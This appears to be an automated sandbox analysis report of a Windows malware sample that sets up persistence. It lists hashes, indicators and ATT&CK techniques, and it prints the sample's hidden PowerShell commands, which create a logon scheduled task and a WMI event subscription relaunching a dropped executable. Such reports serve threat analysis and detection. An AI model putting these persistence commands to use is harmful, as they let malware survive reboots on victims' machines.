74600e0bb2d0d7597b5383575f30076a8204d66c0491f2650fd84935f5648c2e

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/04/2026, 18:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test-windows-amd64.exe
Size 24.2MB
Sample260423-xbe89aev4m
SHA256 74600e0bb2d0d7597b5383575f30076a8204d66c0491f2650fd84935f5648c2e
MD5 88c862e939245584a706b3111535e185
SHA1 352632681a63aca7e3d67bdeda6cba5a58515489
SHA512 0e11e3e5b81c6537559be18e19617f4349ff6fe403f5eb18fc572327e7378157d14b4a24560dc0c8adf85ed1138ec72aede0d59db462658689efa9cb25c6ce22
SSDEEP 196608:mDOIo6d+8oTOvYWLDpQ95FgyjK31bxym2C8gzbkVdmXP0:mRd+8dVFym2C8gXkVdV
TLSH
T1B2473A23F8921994D4EEC5709672816BBA763C291B3813E716E0F3305F3BBD09AB6751
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4204	powershell.exe
4592	powershell.exe
5484	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1664882716.tmp	test-windows-amd64.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-3194031629.tmp	bbg881here.exe

Executes dropped EXE 1 IoCs

pid	Process
4516	bbg881here.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-7a868faa = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\bbg881here.exe\""	test-windows-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-7a868faa = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\bbg881here.exe\""	bbg881here.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4204	powershell.exe
4204	powershell.exe
4592	powershell.exe
4592	powershell.exe
5484	powershell.exe
5484	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeIncreaseQuotaPrivilege	4204	powershell.exe
Token: SeSecurityPrivilege	4204	powershell.exe
Token: SeTakeOwnershipPrivilege	4204	powershell.exe
Token: SeLoadDriverPrivilege	4204	powershell.exe
Token: SeSystemProfilePrivilege	4204	powershell.exe
Token: SeSystemtimePrivilege	4204	powershell.exe
Token: SeProfSingleProcessPrivilege	4204	powershell.exe
Token: SeIncBasePriorityPrivilege	4204	powershell.exe
Token: SeCreatePagefilePrivilege	4204	powershell.exe
Token: SeBackupPrivilege	4204	powershell.exe
Token: SeRestorePrivilege	4204	powershell.exe
Token: SeShutdownPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeSystemEnvironmentPrivilege	4204	powershell.exe
Token: SeRemoteShutdownPrivilege	4204	powershell.exe
Token: SeUndockPrivilege	4204	powershell.exe
Token: SeManageVolumePrivilege	4204	powershell.exe
Token: 33	4204	powershell.exe
Token: 34	4204	powershell.exe
Token: 35	4204	powershell.exe
Token: 36	4204	powershell.exe
Token: SeIncreaseQuotaPrivilege	4592	powershell.exe
Token: SeSecurityPrivilege	4592	powershell.exe
Token: SeTakeOwnershipPrivilege	4592	powershell.exe
Token: SeLoadDriverPrivilege	4592	powershell.exe
Token: SeSystemProfilePrivilege	4592	powershell.exe
Token: SeSystemtimePrivilege	4592	powershell.exe
Token: SeProfSingleProcessPrivilege	4592	powershell.exe
Token: SeIncBasePriorityPrivilege	4592	powershell.exe
Token: SeCreatePagefilePrivilege	4592	powershell.exe
Token: SeBackupPrivilege	4592	powershell.exe
Token: SeRestorePrivilege	4592	powershell.exe
Token: SeShutdownPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeSystemEnvironmentPrivilege	4592	powershell.exe
Token: SeRemoteShutdownPrivilege	4592	powershell.exe
Token: SeUndockPrivilege	4592	powershell.exe
Token: SeManageVolumePrivilege	4592	powershell.exe
Token: 33	4592	powershell.exe
Token: 34	4592	powershell.exe
Token: 35	4592	powershell.exe
Token: 36	4592	powershell.exe
Token: SeIncreaseQuotaPrivilege	4204	powershell.exe
Token: SeSecurityPrivilege	4204	powershell.exe
Token: SeTakeOwnershipPrivilege	4204	powershell.exe
Token: SeLoadDriverPrivilege	4204	powershell.exe
Token: SeSystemProfilePrivilege	4204	powershell.exe
Token: SeSystemtimePrivilege	4204	powershell.exe
Token: SeProfSingleProcessPrivilege	4204	powershell.exe
Token: SeIncBasePriorityPrivilege	4204	powershell.exe
Token: SeCreatePagefilePrivilege	4204	powershell.exe
Token: SeBackupPrivilege	4204	powershell.exe
Token: SeRestorePrivilege	4204	powershell.exe
Token: SeShutdownPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeSystemEnvironmentPrivilege	4204	powershell.exe
Token: SeRemoteShutdownPrivilege	4204	powershell.exe
Token: SeUndockPrivilege	4204	powershell.exe
Token: SeManageVolumePrivilege	4204	powershell.exe
Token: 33	4204	powershell.exe
Token: 34	4204	powershell.exe
Token: 35	4204	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 6024 wrote to memory of 4204	6024	test-windows-amd64.exe	83
PID 4516 wrote to memory of 4592	4516	bbg881here.exe	87
PID 4516 wrote to memory of 5484	4516	bbg881here.exe	90

C:\Users\Admin\AppData\Local\Temp\test-windows-amd64.exe
"C:\Users\Admin\AppData\Local\Temp\test-windows-amd64.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:6024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'bbg881here_b0385c73' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4204

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'bbg881here_b0385c73' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'bbg881here_fb0385c73'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'bbg881here_cb0385c73'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='bbg881here_fb0385c73'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='bbg881here_cb0385c73'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5484

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e926cbc2025607cc6fc853f13afaf3cf9dab3700c1eaf175c2ad5853234f1338
MD5 85301cdaebefb2b1af9bf260ce60c538
SHA1 e461e02f41bb77358e7d5426fa38638e22884b49
SHA512 5defe9b02c13c659e8e37af1e915e5e173c6ebeb33a555686aa4591a300052c6fd087e52b29150706800ae995b570a5f1969b2c8c5dfcccb54674ae15d19a5a7
TLSH
T164217823B39D8820CCD5153A108D9C5072A682C781DFCF9F6EC0C21191BFAC8CB21190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mbjej3rh.jco.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mbjej3rh.jco.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent-2626282500.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-2626282500.tmp
Size 24.2MB
SHA256 74600e0bb2d0d7597b5383575f30076a8204d66c0491f2650fd84935f5648c2e
MD5 88c862e939245584a706b3111535e185
SHA1 352632681a63aca7e3d67bdeda6cba5a58515489
SHA512 0e11e3e5b81c6537559be18e19617f4349ff6fe403f5eb18fc572327e7378157d14b4a24560dc0c8adf85ed1138ec72aede0d59db462658689efa9cb25c6ce22
SSDEEP 196608:mDOIo6d+8oTOvYWLDpQ95FgyjK31bxym2C8gzbkVdmXP0:mRd+8dVFym2C8gXkVdV
TLSH
T1B2473A23F8921994D4EEC5709672816BBA763C291B3813E716E0F3305F3BBD09AB6751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4204-6-0x0000016FFEAC0000-0x0000016FFEAD0000-memory.dmp

Download

memory/4204-32-0x0000016FFE750000-0x0000016FFE75C000-memory.dmp

Download

memory/4204-7-0x0000016FFEAC0000-0x0000016FFEAD0000-memory.dmp

Download

memory/4204-15-0x0000016FFEA80000-0x0000016FFEAA2000-memory.dmp

Download

memory/4516-46-0x00007FF712A40000-0x00007FF716349000-memory.dmp

Download

memory/4592-33-0x000002F52AAD0000-0x000002F52AADC000-memory.dmp

Download

memory/5484-45-0x0000014ABCD10000-0x0000014ABCD1C000-memory.dmp

Download

memory/6024-47-0x00007FF764310000-0x00007FF767C19000-memory.dmp

Download

memory/6024-49-0x00007FF764310000-0x00007FF767C19000-memory.dmp

Download

memory/6024-52-0x00007FF764310000-0x00007FF767C19000-memory.dmp

Download

memory/6024-54-0x00007FF764310000-0x00007FF767C19000-memory.dmp

Download

memory/6024-56-0x00007FF764310000-0x00007FF767C19000-memory.dmp

Download

memory/6024-59-0x00007FF764310000-0x00007FF767C19000-memory.dmp

Download